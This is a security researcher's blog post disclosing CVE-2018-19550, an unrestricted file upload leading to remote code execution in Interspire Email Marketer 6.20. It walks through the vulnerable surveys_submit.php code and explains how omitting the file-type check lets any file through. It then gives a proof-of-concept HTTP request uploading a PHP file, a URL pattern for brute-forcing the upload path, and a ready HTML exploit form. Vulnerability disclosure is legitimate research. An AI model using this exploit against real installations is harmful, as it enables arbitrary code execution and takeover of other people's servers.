Interspire Email Marketer 6.20< Remote Code Execution via Upload Files

this article covers the technical details of the known security vulnerability known as CVE-2018–19550.

Numan Turle
4 min readMay 17, 2019

I would like to state that I’ve tried to reach the product’s company, Interspire, via email support[dot]interspire.com. But I haven’t got any feedback. So I’m going to share this vulnerability here. I haven’t got any feedback yet.

I would like to say thank you so much to my friend, Berk DÜŞÜNÜR who sent the product for security review.

I couldn’t fit the entire code in here, so I didn’t include the class’s code.
full code: https://pastebin.com/frvscryY

surveys_submit.php<?php
/**
* Survey page
*
*
@author Fredrick Gabelmann <fredrick.gabelmann@interspire.com>
*
* To render out a survey for the link provided for the user..
*/
// Make sure that the IEM controller does NOT redirect request.
if
(!defined('IEM_NO_CONTROLLER')) {
define('IEM_NO_CONTROLLER', true);
}
/**
* Require base sendstudio functionality. This connects to the database, sets up our base paths and so on.
*/
require_once
dirname(__FILE__) . '/admin/index.php';
require_once SENDSTUDIO_FUNCTION_DIRECTORY . '/sendstudio_functions.php';
require_once SENDSTUDIO_BASE_DIRECTORY . '/addons/surveys/api/surveys.php';
require_once SENDSTUDIO_BASE_DIRECTORY . '/addons/interspire_addons.php';
require_once SENDSTUDIO_BASE_DIRECTORY . '/addons/surveys/language/language.php';
class surveySubmit extends Interspire_Addons {... // HIDDEN $submit = new surveySubmit();?>

when we examine the object we see a function called with the constructor class


public function
__construct() {
$this->_handleSubmitAction();
}
what is the function __construct
PHP 5 allows developers to declare constructor methods for classes. Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used.
details : https://www.php.net/manual/en/language.oop5.decon.php

the _handleSubmitAction function


private function
_handleSubmitAction(){
// don't escape
$template_dir = SENDSTUDIO_BASE_DIRECTORY . '/addons/surveys/templates';
$this->_template = GetTemplateSystem($template_dir);
$this->_template->DefaultHtmlEscape = false; $formId = (int) IEM::requestGetGET('formId');
$postWidgets = IEM::requestGetPOST('widget');
// If there are files, take the values and place them in the $postWidgets array so they can
// get validated and entered into the response values in the same manner. Uploads will be
// handled separately.
if (isset($_FILES['widget'])) {
foreach ($_FILES['widget']['name'] as $widgetId => $widget) {
foreach ($widget as $fields) {
foreach ($fields as $fieldId => $field) {
$postWidgets[$widgetId]['field'][$fieldId]['value'] = 'file_' . $field['value'];
}
}
}
}
// If the form and widgets weren't posted in the format we require then redirect back
if (!$formId) {
$this->redirectToReferer();
}
.....
private function redirectToReferer()
{
header('Location: ' . $_SERVER['HTTP_REFERER']);
exit;

}

In order to pass the function named redirectToReferer, we are required to send the variable $formId.

// validate file types
if (
$widget['type'] == 'file') {
if (!empty($widget['allowed_file_types'])) {
$typeArr = preg_split('/\s*,\s*/', strtolower($widget['allowed_file_types']));
$invalidType = false;

// foreach of the passed fields (most likely 1) check and see if they are valid file types
foreach
($postWidgets[$widget['id']]['field'] as $field) {
$parts = explode('.', $field['value']);
$ext = strtolower(end($parts));

we should never send allowed_file_types.

// perform file uploading         if (isset($_FILES['widget']['name'])) {
$files = $_FILES['widget']['name'];
foreach ($files as $widgetId => $widget) {
foreach ($widget as $widgetKey => $fields) {
foreach ($fields as $fieldId => $field) {
// gather file information
$name = $_FILES['widget']['name'][$widgetId]['field'][$fieldId]['value'];
$type = $_FILES['widget']['type'][$widgetId]['field'][$fieldId]['value'];
$tmpName = $_FILES['widget']['tmp_name'][$widgetId]['field'][$fieldId]['value'];
$error = $_FILES['widget']['error'][$widgetId]['field'][$fieldId]['value'];
$size = $_FILES['widget']['size'][$widgetId]['field'][$fieldId]['value'];
// if the upload was successful to the temporary folder, move it
if
($error == UPLOAD_ERR_OK) {
$tempdir = TEMP_DIRECTORY;
$upBaseDir = $tempdir . DIRECTORY_SEPARATOR . 'surveys';
$upSurveyDir = $upBaseDir . DIRECTORY_SEPARATOR . $formId;
$upDir = $upSurveyDir . DIRECTORY_SEPARATOR . $response->GetId();
// if the base upload directory doesn't exist create it
if
(!is_dir($upBaseDir)) {
mkdir($upBaseDir, 0755);
}
if (!is_dir($upSurveyDir)) {
mkdir($upSurveyDir, 0755);
}
// if the upload directory doesn't exist create it
if
(!is_dir($upDir)) {
mkdir($upDir, 0755);
}
// upload the file
move_uploaded_file($tmpName, $upDir . DIRECTORY_SEPARATOR . $name);
}
}
}
}
}

finally, we have come to the field to load our file.

the result is proof of concept.

input file name : widget[0][field][][value]

submit : surveys_submit.php?formId=1337

POST /iem/surveys_submit.php?formId=1337 HTTP/1.1
Host: numanturle.dev
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF2dckZgrcE306kH2
Content-Length: 340
------WebKitFormBoundaryF2dckZgrcE306kH2
Content-Disposition: form-data; name="widget[0][field][][value]"; filename="info.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>

------WebKitFormBoundaryF2dckZgrcE306kH2
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryF2dckZgrcE306kH2-
$response->GetId() fuzzing

HTTP://{{IEM LINK}}/admin/temp/surveys/1337/{{FUZZING NUMBER}}/{{FILENAME}}

simple exploit 😋

<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form action="http://WEBSITE/surveys_submit.php?formId=1337" method="post" enctype="multipart/form-data">
<input type="file" name="widget[0][field][][value]">
<input type="submit" value="submit" name="submit">
</form>
</body>
</html>

--

--